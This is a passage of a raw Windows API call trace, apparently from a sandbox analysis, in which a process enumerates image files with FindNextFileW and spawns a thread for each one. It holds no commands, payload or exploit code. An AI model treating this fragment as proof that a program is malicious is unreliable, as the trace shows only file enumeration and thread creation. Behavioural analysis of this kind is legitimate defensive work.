	[0239.835] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1
	[0239.835] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad8
	[0239.837] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.838] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1
	[0239.838] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1adc
	[0239.840] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.840] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1
	[0239.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae0
	[0239.843] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.844] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1
	[0239.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae4
	[0239.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.847] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1
	[0239.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae8
	[0239.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.850] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1
	[0239.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aec
	[0239.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.853] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1
	[0239.853] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af0
	[0239.855] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.856] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1
	[0239.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af4
	[0239.858] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.858] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1
	[0239.858] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af8
	[0239.861] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.861] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1
	[0239.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1afc
	[0239.863] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.864] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1
	[0239.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b00
	[0239.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.889] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1
	[0239.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b04
	[0239.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.893] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1
	[0239.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b08
	[0239.895] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.895] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1
	[0239.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0c
	[0239.898] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.898] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1
	[0239.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b10
	[0239.901] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.902] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1
	[0239.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b14
	[0239.904] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.905] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1
	[0239.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b18
	[0239.907] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.908] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1
	[0239.908] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b1c
	[0239.911] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.911] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1
	[0239.911] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20
	[0239.914] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.915] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1
	[0239.915] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b24
	[0239.917] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.918] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1
	[0239.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b28
	[0239.920] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.921] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1
	[0239.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b2c
	[0239.963] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.964] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1
	[0239.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b30
	[0239.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.967] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1
	[0239.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b34
	[0239.969] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.970] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1
	[0239.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b38
	[0239.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.973] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1
	[0239.973] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b3c
	[0239.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.975] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1
	[0239.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b40
	[0239.977] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
